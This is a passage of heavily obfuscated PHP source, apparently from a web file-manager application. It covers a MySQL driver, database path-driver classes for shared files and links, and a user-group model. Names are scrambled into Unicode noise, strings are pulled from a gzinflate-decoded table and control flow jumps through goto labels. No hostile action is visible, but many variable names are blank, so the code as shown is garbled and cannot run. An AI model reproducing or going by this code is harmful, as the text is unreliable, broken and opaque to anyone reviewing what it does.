$[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($͇ = '') { $ =& $_SERVER[՟]; if (!empty($͇)) { $ = $[980] . $͇ . $[981]; } else { $ = $[982]; } $ = $this->query($); $ = array(); foreach ($ as $ => $ө) { $[$] = current($ө); } return $; } public function replace($Ł, $誩 = array()) { $Π =& $_SERVER[՟]; foreach ($Ł as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $̦Į[] = $; $[] = $this->parseKey($); } } $⏂ů = $Π[983] . $this->parseTable($誩[$Π[365]]) . $Π[984] . implode($Π[50], $) . $Π[985] . implode($Π[50], $̦Į) . $Π[986]; return $this->execute($⏂ů); } public function insertAll($, $ʯ = array(), $ú = false) { $ =& $_SERVER[՟]; if (!is_array($[0])) { return !1; } $٢ = array_keys($[0]); $ = array(); foreach ($ as $) { $ܠ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $ܠ[] = $; } } $[] = $[346] . implode($[50], $ܠ) . $[986]; } array_walk($٢, array($this, $[987])); $ = ($ú ? $[988] : $[989]) . $[990] . $this->parseTable($ʯ[$[365]]) . $[984] . implode($[50], $٢) . $[991] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[՟]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ȩ) { if ($this->_linkID) { return mysql_real_escape_string($ȩ, $this->_linkID); } else { return mysql_escape_string($ȩ); } } public function parseKey(&$ܑ, $ = true) { $٪ =& $_SERVER[՟]; if ($) { $ܑ = $this->parseKeyCheck($ܑ); } if ($ܑ != $٪[230] && !preg_match($٪[992], $ܑ)) { $ܑ = $٪[470] . trim($ܑ, $٪[470]) . $٪[470]; } return $ܑ; } } goto DՏ; Dξͱ: $xpsobfaewr = $_SERVER[՟][688]; $_SERVER[] = explode($_SERVER[՟][689], gzinflate(substr($_SERVER[՟][690], 10, -8))); $gwjiunoxme = $_SERVER[՟][691]; goto fޕӻ; d: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[՟][1421]); } public function getPath($) { return trim($, $_SERVER[՟][8]); } public function pathFather($) { $ֱ = $this->parse($); $ֱ = $this->infoSimple($); return $ֱ ? $ֱ[$_SERVER[՟][202]] : !1; } public function pathThis($М) { $䍉 = $this->infoSimple($М); return $䍉 ? $䍉[$_SERVER[՟][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $Ǵ = $this->parse($); return KodIO::make($Ǵ[$_SERVER[՟][484]]); } public function copyFolderFromIO($É, $, $Ɨ, $֤, $) { $ = $this->model->copyFolderFromIO($É, $, $Ɨ, $֤, $); return KodIO::make($); } public function isParentOf($䰇, $) { return $this->model->isParentOf($䰇, $); } public function mkfile($ʁ, $ = '', $Ȱ = REPEAT_RENAME) { $ձ =& $_SERVER[՟]; $ = $this->parse($ʁ); $ʁ = $[$ձ[484]]; for ($ = 0; $ < count($[$ձ[1422]]); $++) { $ϸ = $[$ձ[1422]][$]; if ($ == count($[$ձ[1422]]) - 1) { $ʁ = $this->model->mkfile($ʁ, $ϸ, $, $Ȱ); break; } $ʁ = $this->model->mkdir($ʁ, $ϸ, REPEAT_SKIP); } return $this->getPathOuter($ʁ); } public function mkdir($, $ԯ = REPEAT_SKIP) { $ =& $_SERVER[՟]; $ = $this->parse($); $ = $[$[484]]; for ($Ÿԋ = 0; $Ÿԋ < count($[$[1422]]); $Ÿԋ++) { $ = $[$[1422]][$Ÿԋ]; $ = $this->model->mkdir($, $, $ԯ); } return $this->getPathOuter($); } public function copyFile($ޫ, $, $Й = REPEAT_REPLACE) { $ɋ =& $_SERVER[՟]; $ = $this->parse($); $ồ = $this->model->copy($ޫ, $[$ɋ[484]], $Й, $[$ɋ[97]]); return $ồ ? $this->getPathOuter($ồ) : !1; } public function moveFile($ػے, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[՟]; $ׇ = $this->parse($); $ג = $this->model->move($ػے, $ׇ[$[484]], $, $ׇ[$[97]]); return $ג ? $this->getPathOuter($ג) : !1; } public function copy($, $褪, $Š = REPEAT_REPLACE, $ߏ = false) { $ = $this->parse($褪); $ = $this->model->copy($, $[$_SERVER[՟][484]], $Š, $ߏ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($ѿ֩, $, $յ = REPEAT_REPLACE, $̼ = false) { $؍ = $this->parse($); $쵣 = $this->model->move($ѿ֩, $؍[$_SERVER[՟][484]], $յ, $̼); return $쵣 ? $this->getPathOuter($쵣) : !1; } public function remove($, $ޱ = true) { return $this->model->remove($, $ޱ); } public function rename($Ĵ, $) { $؋ = $this->model->rename($Ĵ, $); return $؋ ? $this->getPathOuter($Ĵ) : $؋; } public function size($ʄ) { $՜ = $this->infoSimple($ʄ); return $՜ ? $՜[$_SERVER[՟][89]] : 0; } public function infoSimple($ݠ) { return $this->model->sourceInfo($ݠ); } public function info($) { return $this->infoParse($); } public function infoAuth($䏷) { return $this->infoParse($䏷, !1, !0); } public function infoWithChildren($ݱ) { return $this->infoParse($ݱ, !0); } protected function infoParse($, $ = false, $ʆƜ = false) { if (!$) { return $this->model->pathInfo($, $ʆƜ); } return $this->model->pathInfoMore($); } public function infoFullSimple($Ջ٘) { $ƻ =& $_SERVER[՟]; $ = explode($ƻ[8], $Ջ٘); $ = implode($ƻ[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function infoFull($) { $մ = $this->infoFullSimple($); return is_array($մ) ? $this->model->pathInfo($մ[$_SERVER[՟][203]]) : !1; } public function hashSimple($) { $Ȏժ =& $_SERVER[՟]; $̄ = $this->infoWithChildren($); return $̄[$Ȏժ[180]][$Ȏժ[681]]; } public function hashMd5($碒҅) { $ =& $_SERVER[՟]; $ = $this->infoWithChildren($碒҅); return $[$[180]][$[556]]; } public function exist($渤) { $ =& $_SERVER[՟]; $ = $this->parse($渤); if (!$[$[97]]) { return $this->isFile($渤) || $this->isFolder($渤); } $ = array($[486] => $[$[484]], $[32] => $[$[97]]); $Ů = $this->model->where($)->find(); return $Ů ? !0 : !1; } public function isFile($) { $ݩ =& $_SERVER[՟]; $ = $this->infoSimple($); return $ && $[$ݩ[494]] == $ݩ[238] ? !0 : !1; } public function isFolder($ө) { $ւ =& $_SERVER[՟]; $А = $this->infoSimple($ө); return $А && $А[$ւ[494]] == $ւ[101] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[՟]; if ($ == $[12]) { return !1; } $ = array($[486] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($Ѯ, $܋ԉ = false, $ = null) { $˴ =& $_SERVER[՟]; $х = $this->infoWithChildren($Ѯ); if ($܋ԉ) { return array($˴[250] => $х[$˴[250]], $˴[249] => $х[$˴[249]]); } return $ ? $х[$˴[250]] : $х[$˴[249]]; } public function listAll($̘) { $ = IO::info($this->pathParse[$_SERVER[՟][97]]); if (!$) { return array(); } return $this->model->listAll($̘); } public function getContent($) { return $this->model->getContent($); } public function setContent($ہ, $ӄ = '') { return $this->model->setContent($ہ, $ӄ); } public function fileSubstr($, $ݚ؏, $ؑ) { return $this->model->fileSubstr($, $ݚ؏, $ؑ); } public function download($ӆ, $Ύ = '') { $ْ = get_path_father($Ύ); $» = get_path_this($Ύ); $ = $this->model->fileInfoGet($ӆ); $ = IO::copy($[$_SERVER[՟][97]], $ْ, !1, $»); return $; } public function setModifyTime($츺, $ = '') { $┴ =& $_SERVER[՟]; if (!$츺) { return; } $this->model->where(array($┴[500] => $츺))->save(array($┴[98] => $)); } public function upload($, $秺, $ = false, $Ӣ = REPEAT_REPLACE) { $Ҷ =& $_SERVER[՟]; $ޚѲ = $this->parse($); $Ə = $this->model->addFile($ޚѲ[$Ҷ[484]], $秺, $ޚѲ[$Ҷ[97]], $, $Ӣ); return $this->getPathOuter($Ə); } public function uploadFileByID($峧ꎜ, $ɛ, $Χ) { $ =& $_SERVER[՟]; $ = $this->parse($峧ꎜ); $ = $this->model->addFileByFileID($[$[484]], $ɛ, $[$[97]], $Χ); return $this->getPathOuter($); } public function addFileByRemote($ٻܴ, $, $ = array(), $ = '', $풌) { $ =& $_SERVER[՟]; $꯳ = $this->parse($ٻܴ); $ = empty($) ? $꯳[$[97]] : $; $ͩ = $this->model->addFileByRemote($꯳[$[484]], $, $, $, $풌); return $this->getPathOuter($ͩ); } public function uploadLink($Ҳ, $܉ = 0) { $ =& $_SERVER[՟]; $ = $this->parse($Ҳ); $ = _get($GLOBALS[$[7]], $[1423]); $ = _get($GLOBALS[$[7]], $[1424]); $Ҳ = Model($[683])->createFileName($[$[97]], $, $); return IO::uploadLink($Ҳ, $܉); } public function fileNameAuto($ѵփ, $ݜ, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($ѵփ, $ݜ, $, $); } public function fileNameExist($ƹ, $) { return $this->model->fileNameExist($ƹ, $); } protected function _fileOut($, $ǭ = false, $ȟ = false, $֔ = '', $ē瓽 = false) { $鱊փ =& $_SERVER[՟]; $ = $this->model->sourceInfo($); if ($[$鱊փ[494]] == $鱊փ[101]) { header($鱊փ[1425]); die; } $ϫ = $this->model->fileInfoGet($); $֔ = $ϫ[$鱊փ[556]] ? $ϫ[$鱊փ[556]] : $֔; $ފ = isset($GLOBALS[$鱊փ[192]]) && is_array($GLOBALS[$鱊փ[192]]) ? $GLOBALS[$鱊փ[192]][$鱊փ[32]] : $[$鱊փ[32]]; if ($ē瓽) { return IO::fileOutServer($ϫ[$鱊փ[97]], $ǭ, $ފ, $֔); } IO::fileOut($ϫ[$鱊փ[97]], $ǭ, $ފ, $֔); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $); } public function fileOutServer($Ć, $ = false, $ = false, $ = '') { $this->_fileOut($Ć, $, $, $, !0); } protected function _fileOutImage($, $ȸ = 250) { $ =& $_SERVER[՟]; $踝 = $this->model->pathInfo($); if ($踝[$[494]] == $[101]) { show_json($[1426] . $, !1); } $ߴ = $this->model->fileInfoGet($); $踝[$[193]] = $ߴ[$[97]]; $GLOBALS[$[192]] = $踝; IO::fileOutImage($ߴ[$[97]], $ȸ); } public function fileOutImage($, $ʇ = 250) { $this->_fileOutImage($, $ʇ); } public function fileOutImageServer($״, $Ⲍ = 250) { $this->_fileOutImage($״, $Ⲍ); } public function link($, $ףぅ = '') { $ޯ = $this->model->fileInfoGet($); return IO::link($ޯ[$_SERVER[՟][97]], $ףぅ); } protected function parse($) { $ =& $_SERVER[՟]; if (strstr($, $[8]) === !1) { return array($[502] => intval($), $[97] => $[12], $[1422] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(clear_html($) . $[1427]); } return array($[502] => intval($[0]), $[97] => $[1], $[1422] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[՟][1421]); } public function getPathOuter($) { $㥱 =& $_SERVER[՟]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$㥱[484]], $[$㥱[484]]), $㥱[8]); } protected function infoParse($, $ = false, $ʥ = false) { $ =& $_SERVER[՟]; $ = $this->pathParse[$[484]]; $ = trim($this->pathParse[$[1253]], $[8]); return Action($[1428])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[՟]; $ߪ = explode($[8], trim($, $[8])); if (count($ߪ) > 1) { $ = implode($[8], array_splice($ߪ, 1)); $ݳ = $this->model->pathInfoByPath($ߪ[0], $); if (!$ݳ) { return !1; } $this->pathParse[$[1253]] = $ݳ[$[203]]; } return $this->infoParse($); } public function listAll($ǃ) { $ =& $_SERVER[՟]; $σ = IO::info($this->pathParse[$[97]]); if (!$σ) { return array(); } $ؗ = $this->model->listAll($ǃ); $ۯ = Model($[673])->getInfo($σ[$[674]]); foreach ($ؗ as &$) { check_abort(); $[$[100]] = Action($[1428])->_shareItemeParse($[$[100]], $ۯ); } unset($); return $ؗ; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($ӧ) { $this->pathParse = $ӧ; $this->model = Model($_SERVER[՟][1421]); } protected function infoParse($, $ = false, $ȟ = false) { $ =& $_SERVER[՟]; return Action($[1259])->sharePathInfo($this->pathParse[$[97]], !0, $); } public function listPath($ɖ, $ = false) { $۠ =& $_SERVER[՟]; $ϭ = parent::listPath($ɖ, $); if (!$ϭ) { return $ϭ; } if (is_array($ϭ[$۠[1429]])) { $ϭ[$۠[1429]] = Action($۠[1259])->shareItemInfo($ϭ[$۠[1429]]); } foreach ($ϭ as $ݒѾ => $鏉) { if (!in_array($ݒѾ, array($۠[96], $۠[95]))) { continue; } foreach ($鏉 as $ܦԃ => $) { $ϭ[$ݒѾ][$ܦԃ] = Action($۠[1259])->shareItemInfo($); } } return $ϭ; } public function listAll($) { $ =& $_SERVER[՟]; $ڍ = IO::info($this->pathParse[$[97]]); if (!$ڍ) { return array(); } $ծ = $this->model->listAll($); foreach ($ծ as &$Ǿ) { $Ǿ[$[100]] = Action($[1259])->shareItemInfo($Ǿ[$[100]]); } unset($Ǿ); return $ծ; } } goto C; e勞: class GroupModel extends ModelBase { protected $tableName = "\147\162\x6f\x75\x70"; protected $tableMeta = array("\x74\x61\142\x6c\x65\x4e\141\155\x65" => "\147\x72\x6f\x75\x70\x5f\155\x65\164\x61", "\155\145\164\x61\106\151\x65\x6c\x64" => "\x67\x72\157\x75\x70\111\x44"); protected function cacheFunctionAlias($۹) { $ =& $_SERVER[՟]; return array($[2054] => array($۹[0], $[2055]), $[2056] => array($۹[0], $[2057])); } protected function getInfo($, $ľ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($ľ) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[՟][2058], $); } protected function getInfoSimple($, $ݼ = false) { $ =& $_SERVER[՟]; if ($ݼ) { $ڑ = array($[1972] => intval($)); $œ = $this->where($ڑ)->find(); return is_array($œ) ? $œ : array(); } return $this->cacheFunctionGet($[2059], $); } protected function groupAdd($) { $Ɲ =& $_SERVER[՟]; if (!$[$Ɲ[202]] && isset($[$Ɲ[1972]]) && $[$Ɲ[1972]] == 1) { if ($ྫ = $this->getInfoSimple($[$Ɲ[1972]], !0)) { return $[$Ɲ[1972]]; } } else { $ྫ = $this->getInfoSimple($[$Ɲ[202]]); if (!$ྫ) { return !1; } } $ = $Ɲ[603]; if ($ྫ[$Ɲ[593]]) { $ = $ྫ[$Ɲ[593]] . $ྫ[$Ɲ[1972]] . $Ɲ[50]; } $ = array($Ɲ[503] => $this->groupNameAuto($[$Ɲ[202]], $[$Ɲ[32]]), $Ɲ[486] => $[$Ɲ[202]], $Ɲ[661] => $, $Ɲ[2060] => $[$Ɲ[1958]], $Ɲ[2061] => 0, $Ɲ[1976] => 0); if (isset($[$Ɲ[1996]])) { $[$Ɲ[1996]] = $[$Ɲ[1996]]; } else { $ = $this->max($Ɲ[1996]); if (!$) { $ = 0; } $[$Ɲ[1996]] = $ + 1; } if (!empty($[$Ɲ[1972]])) { $[$Ɲ[1972]] = $[$Ɲ[1972]]; } $ڋԼ = $this->add($); $this->setNamePinyin($ڋԼ, $[$Ɲ[32]]); if (isset($[$Ɲ[2062]])) { $this->metaSet($ڋԼ, array($Ɲ[2062] => $[$Ɲ[2062]], $Ɲ[2063] => $[$Ɲ[2063]])); unset($[$Ɲ[2062]]); unset($[$Ɲ[2063]]); } Model($Ɲ[1421])->groupRootAdd($ڋԼ); $this->_clearCache($[$Ɲ[202]]); return $ڋԼ; } protected function groupEdit($, $) { $ =& $_SERVER[՟]; $샴 = $this->getInfoSimple($); if (!$샴) { return !1; } if (!empty($[$[202]])) { $е = $this->getInfoSimple($[$[202]]); if (!$е) { return !1; } if ($샴[$[1972]] == $е[$[1972]]) { return !1; } if ($[$[202]] != $샴[$[202]]) { if ($е[$[593]] !== $샴[$[593]] && strpos($е[$[593]], $샴[$[593]] . $샴[$[1972]] . $[50]) === 0) { return !1; } $[$[661]] = $е[$[593]] . $[$[202]] . $[50]; $this->_changeChildLevel($샴, $е); $this->_clearCache($е[$[1972]]); $this->_clearCache($샴[$[202]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[2062]])) { $this->metaSet($, array($[2062] => $[$[2062]], $[2063] => $[$[2063]])); unset($[$[2062]]); unset($[$[2063]]); } $this->_clearChildrenCache($샴); return $this->where(array($[2064] => $))->save($); } private function _clearChildrenCache($) { $ظߏ =& $_SERVER[՟]; $ = array($ظߏ[661] => array($ظߏ[621], $[$ظߏ[593]] . $[$ظߏ[1972]] . $ظߏ[622])); $Ҝ = $this->field($ظߏ[1972])->where($)->select(); foreach ($Ҝ as $) { $this->_clearCache($[$ظߏ[1972]]); } } private function _clearCache($οՀ) { $ =& $_SERVER[՟]; $this->cacheFunctionClear($[2058], $οՀ); $this->cacheFunctionClear($[2059], $οՀ); } private function _changeChildLevel($, $ؗ, $콦 = false) { $ =& $_SERVER[՟]; $Ʌ = $[$[593]] . $[$[1972]] . $[50]; $ = $ؗ[$[593]] . $ؗ[$[1972]] . $[50] . $[$[1972]] . $[50]; if ($콦) { $ = $ؗ[$[593]] . $ؗ[$[1972]] . $[50]; } $ = array($[661] => array($[621], $[$[593]] . $[$[1972]] . $[622])); $ = array($[661] => array($[670], "\162\x65\x70\x6c\x61\x63\x65\50\160\x61\162\145\x6e\164\x4c\x65\166\x65\x6c\x2c\x27{$Ʌ}\x27\54\x27{$}\x27\51")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($, $Ѹ = false) { $ƥҶ =& $_SERVER[՟]; if (!$Ѹ) { $Ӣ = $this->getInfoSimple($); $Ѹ = $Ӣ[$ƥҶ[32]]; } if (!Input::check($Ѹ, $ƥҶ[664])) { $this->metaSet($, $ƥҶ[547], null); $this->metaSet($, $ƥҶ[546], null); return; } $¼ = array($ƥҶ[547] => str_replace($ƥҶ[53], $ƥҶ[12], Pinyin::get($Ѹ)), $ƥҶ[546] => Pinyin::get($Ѹ, $ƥҶ[665])); $this->metaSet($, $¼); } protected function metaSet($, $ij퓱 = null, $ի = null) { $this->_clearCache($); return parent::metaSet($, $ij퓱, $ի); } protected function groupStatus($ϑ, $ҽ) { $ =& $_SERVER[՟]; $Ѧ = $this->getInfoSimple($ϑ); if (!$Ѧ) { return !1; } $this->_clearCache($ϑ); return $this->metaSet($ϑ, $[834], $ҽ); if ($ҽ == $[101]) { $˭ = $this->parentLevelArray($Ѧ[$[593]]); } else { } $˭[] = $Ѧ[$[1972]]; $ = array(); foreach ($˭ as $ϑ) { $[] = array($[1972] => $ϑ, $[107] => $[834], $[459] => $ҽ); $this->_clearCache($ϑ); } return Model($[2065])->addAll($, array(), !0); } protected function groupRemove($, $Ħ = false) { $ˊ =& $_SERVER[՟]; $ᡂ = array($ˊ[1972] => $); $ƥ = $this->where($ᡂ)->find(); if (!$ƥ || $ƥ[$ˊ[202]] == 0) { return !1; } if (!$Ħ) { $˦ = $this->getInfoSimple($ƥ[$ˊ[202]]); $this->_changeChildLevel($ƥ, $˦, !0); $this->where(array($ˊ[202] => $))->save(array($ˊ[202] => $ƥ[$ˊ[202]])); $this->_clearCache($˦[$ˊ[1972]]); } Model($ˊ[2065])->where($ᡂ)->delete(); Model($ˊ[2066])->where($ᡂ)->delete(); Model($ˊ[908])->groupRootRemove($); $this->_clearCache($ƥ[$ˊ[202]]); return $this->where($ᡂ)->delete(); } protected function groupSort($) { $ =& $_SERVER[՟]; $ = array(); foreach ($ as $ʺ => $Ƞ) { $[] = array($[1972], $Ƞ, $[1996], $ʺ + 1); } $this->saveAll($); } public function listData() { $נͨ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($נͨ[$_SERVER[՟][454]]); return $נͨ; } private function _makeOrder($Ǫ = '') { $ĥꠉ =& $_SERVER[՟]; $ҫ = array($ĥꠉ[1972], $ĥꠉ[32], $ĥꠉ[1960], $ĥꠉ[241]); $ل = array($ĥꠉ[532] => $ĥꠉ[533], $ĥꠉ[534] => $ĥꠉ[535]); $⑦ = Input::get($ĥꠉ[539], $ĥꠉ[7], $ĥꠉ[1976], $ҫ); $ࣘ = Input::get($ĥꠉ[540], $ĥꠉ[7], $ĥꠉ[2067], array($ĥꠉ[2067], $ĥꠉ[534])); $ࣘ = $ل[$ࣘ]; $Ǫ = $Ǫ . "{$⑦}\x20{$ࣘ}\x2c\x20\147\162\157\x75\x70\x49\104\40\141\163\x63"; return $this->order($Ǫ); } public function listChild($) { $ =& $_SERVER[՟]; $Ӟ = $this->where(array($[202] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($Ӟ[$[454]]); return $Ӟ; } public function listChildIds($) { $ =& $_SERVER[՟]; if (is_string($ٴ)) { $ = explode($[50], $); } $Ƴnj = $this->where(array($[1972] => array($[7], $)))->field($[2068])->select(); if (!$Ƴnj) { return !1; } $ٶ = array(); foreach ($Ƴnj as $) { $ٶ[] = "\x73\x65\x6c\x65\143\x74\40\147\162\157\165\x70\111\x44\x20\x66\x72\157\x6d\40\x60\147\x72\x6f\x75\x70\x60\40\x77\x68\x65\162\x65\40\x70\141\x72\145\x6e\164\x4c\145\166\145\154\40\x6c\x69\x6b\145\40\47{$[$[593]]}{$[$[1972]]}\x2c\45\47"; } $ٶ = implode($[2069], $ٶ); $Ƴnj = $this->query($ٶ); if (!$Ƴnj) { return array(); } $ = array_to_keyvalue($Ƴnj, $[12], $[1972]); return array_unique($); } public function listByID($) { $ =& $_SERVER[՟]; if (!$) { return array(); } $Ф = array($[1972] => array($[7], $)); $ = $this->where($Ф)->select(); $ = array_sort_keep($, $[1972], $); $this->_listDataApply($); return $; } public function listSearch($ϥ) { $曄 =& $_SERVER[՟]; $Ջ = trim($ϥ[$曄[2070]]); $ޕک = explode($曄[53], $Ջ); if (!$Ջ || count($ޕک) == 1) { return $this->listSearchNow($ϥ); } $Ǘ = array($曄[454] => array()); foreach ($ޕک as $) { if (!trim($)) { continue; } $ϥ[$曄[2070]] = $; $ = $this->listSearchNow($ϥ); $Ǘ[$曄[454]] = array_merge($Ǘ[$曄[454]], $[$曄[454]]); } $Ǘ[$曄[454]] = array_unique_by_key($Ǘ[$曄[454]], $曄[1972]); $Ǘ[$曄[451]] = array($曄[452] => count($Ǘ[$曄[454]]), $曄[448] => 20, $曄[438] => 1, $曄[453] => 1); return $Ǘ; } public function listSearchNow($) { $ =& $_SERVER[՟]; $ԑ = trim($[$[2070]]); $ = isset($[$[2071]]) ? $[$[2071]] : !1; if (!trim($ԑ)) { return !1; } $ԑ = str_replace($[2072], $[2073], $ԑ); $ňϯ = array($[1972] => array($[468], "{$ԑ}\x25"), $[32] => array($[468], "\x25{$ԑ}\45"), $[1081] => $[2074]); if ($) { $Ôܪ = $this->getInfoSimple($); $܉ = $Ôܪ[$[593]] . $ . $[622]; $ňϯ = array($ňϯ, array($[593] => array($[468], $܉))); } $ňϯ = $this->parseWhereLike($ňϯ); $շ£ = $this->_makeOrder()->where($ňϯ)->selectPage(20); $շ£ = $շ£ ? $շ£ : array($[454] => array(), $[451] => array()); if (!$շ£ || count($շ£[$[454]]) < 5 && Input::check($ԑ, $[403])) { $ӭ = $this->groupChildrenAll($); $ψ = $this->_searchFromMeta($[546], $ԑ, 10, $ӭ); $ޟ = $this->_searchFromMeta($[547], $ԑ, 10, $ӭ); $ד = array_merge($ψ, $ޟ, $շ£[$[454]]); $շ£[$[454]] = array_unique_by_key($ד, $[1972]); $շ£[$[451]][$[452]] = count($շ£[$[454]]); $շ£[$[451]][$[453]] = ceil($շ£[$[451]][$[452]] / $շ£[$[451]][$[448]]); } $this->_listDataApply($շ£[$[454]]); return $շ£; } protected function groupChildrenAll($) { $ =& $_SERVER[՟]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $䚝 = $; foreach ($ as $÷) { $眈 = $this->getInfoSimple($÷); $˻ = array($[593] => array($[468], $眈[$[593]] . $÷ . $[622])); $˝ = $this->field($[1972])->where($˻)->select(); $䚝 = array_merge($䚝, array_to_keyvalue($˝, $[12], $[1972])); } return array_unique($䚝); } private function _searchFromMeta($͂, $Ȗӊ, $, $) { $Ӕ =& $_SERVER[՟]; $Ȗӊ = strtolower($Ȗӊ); $د = array($Ӕ[107] => $͂, $Ӕ[459] => array($Ӕ[468], "\x25{$Ȗӊ}\45")); $د = $this->parseWhereLike($د); if ($) { $د[$Ӕ[1972]] = array($Ӕ[7], $); } $Ӻ怠 = Model($Ӕ[2075])->where($د)->limit($)->select(); if (!$Ӻ怠) { return array(); } $Ӻ怠 = array_to_keyvalue($Ӻ怠, $Ӕ[12], $Ӕ[1972]); $٫ = $this->where(array($Ӕ[2064] => array($Ӕ[7], $Ӻ怠)))->select(); if (!$٫) { return array(); } return $٫; } protected function _listDataApplyItem($Ž) { $ = array($Ž); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $Ӆ =& $_SERVER[՟]; if (!$) { return; } $ = array_to_keyvalue($, $Ӆ[12], $Ӆ[1972]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$愔) { $䖢 =& $_SERVER[՟]; $ = array_to_keyvalue($愔, $䖢[12], $䖢[1972]); $ = array($䖢[202] => array($䖢[7], $)); $ = array($䖢[202], $䖢[2076] => $䖢[574]); $ = $this->field($)->where($)->group($䖢[202])->select(); $҇ = array_to_keyvalue($, $䖢[202], $䖢[574]); foreach ($愔 as &$) { $ = $[$䖢[1972]]; $[$䖢[2077]] = isset($҇[$]) ? intval($҇[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $Ԭ =& $_SERVER[՟]; $ = array_to_keyvalue($, $Ԭ[12], $Ԭ[1972]); $ߴ = array($Ԭ[1972] => array($Ԭ[7], $)); $Ѯ = array($Ԭ[1972], $Ԭ[2076] => $Ԭ[574]); $܁芭 = Model($Ԭ[2066])->field($Ѯ)->where($ߴ)->group($Ԭ[1972])->select(); $𖥃 = array_to_keyvalue($܁芭, $Ԭ[1972], $Ԭ[574]); foreach ($ as &$猤) { $ = $猤[$Ԭ[1972]]; $猤[$Ԭ[2078]] = isset($𖥃[$]) ? intval($𖥃[$]) : !1; } unset($猤); } private function _listAppendMeta(&$, $ۡ) { $ =& $_SERVER[՟]; $օܩ = array($[1972] => array($[7], $ۡ)); $͕ = Model($[2065])->where($օܩ)->select(); $͕ = array_to_keyvalue_group($͕, $[1972]); foreach ($͕ as &$ʺ) { $ʺ = array_to_keyvalue($ʺ, $[107], $[459]); } unset($ʺ); foreach ($ as &$ۼ) { $ۼ[$[548]] = array(); if (isset($͕[$ۼ[$[1972]]])) { $ۼ[$[548]] = $͕[$ۼ[$[1972]]]; } } unset($ۼ); } protected function parentLevelArray($) { $ =& $_SERVER[՟]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[238]); return $; } protected function parentInGroup($, $҄) { $ѳ =& $_SERVER[՟]; $ސ = $this->getInfoSimple($); if (!$ސ) { return !0; } $߭ = $this->parentLevelArray($ސ[$ѳ[593]]); $߭[] = $; foreach ($߭ as $) { if (in_array($ . $ѳ[12], $҄)) { return !0; } } return !1; } private function _listAppendParent(&$ܳ) { $ү =& $_SERVER[՟]; $ = array(); foreach ($ܳ as &$) { $[$[$ү[1972]]] = $[$ү[32]]; $̆ = $this->parentLevelArray($[$ү[593]]); foreach ($̆ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ϖ => $) { if ($) { continue; } $̄ = $this->getInfoSimple($ϖ); $[$ϖ] = $̄[$ү[32]]; } $徼 = $GLOBALS[$ү[6]][$ү[102]][$ү[2079]]; if (KodUser::isRoot()) { $徼 = !1; } foreach ($ܳ as &$) { $̆ = $this->parentLevelArray($[$ү[593]]); $߂ = $ү[12]; foreach ($̆ as $ϖ => $) { if ($徼 && $ϖ == 0) { continue; } $߂ .= $[$] . $ү[8]; } if ($̆) { $߂ .= $[$ү[32]]; } $[$ү[598]] = str_replace($ү[601], $ү[8], $߂); } unset($); } private function _listAppendSourceRoot(&$Ԅ, $) { $؟ϓ =& $_SERVER[՟]; $І = Model($؟ϓ[908])->listSourceRoot(SourceModel::TYPE_GROUP, $); $І = array_to_keyvalue($І, $؟ϓ[578]); $І = array_remove_key($І, $؟ϓ[578]); foreach ($Ԅ as &$Ԯ) { $Ԯ[$؟ϓ[100]] = $І[$Ԯ[$؟ϓ[1972]]] ? $І[$Ԯ[$؟ϓ[1972]]] : array(); } unset($Ԯ); } protected function groupMerge($ߋ) { $ߋ = array_values(array_unique($ߋ)); $ġ = array(); for ($ = 0; $ < count($ߋ); $++) { $Ú = !1; for ($ = 0; $ < count($ߋ); $++) { if ($ == $) { continue; } if ($this->isParentOf($ߋ[$], $ߋ[$])) { $Ú = !0; break; } } if (!$Ú) { $ġ[] = $ߋ[$]; } } return $ġ; } protected function isParentOf($ĭ, $) { $ڢ =& $_SERVER[՟]; if (!$ĭ || !$ || $ĭ == $) { return !1; } $äٛ = $this->getInfoSimple($ĭ); $襫 = $this->getInfoSimple($); $ = $äٛ[$ڢ[593]] . $ĭ . $ڢ[50]; if (substr($襫[$ڢ[593]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($ƚ, $ļگ = false) { $ =& $_SERVER[՟]; $ = $this->getInfo($ƚ); if (!$) { return array(); } $ = $this->parentLevelArray($[$[593]]); $ = array($ƚ); if 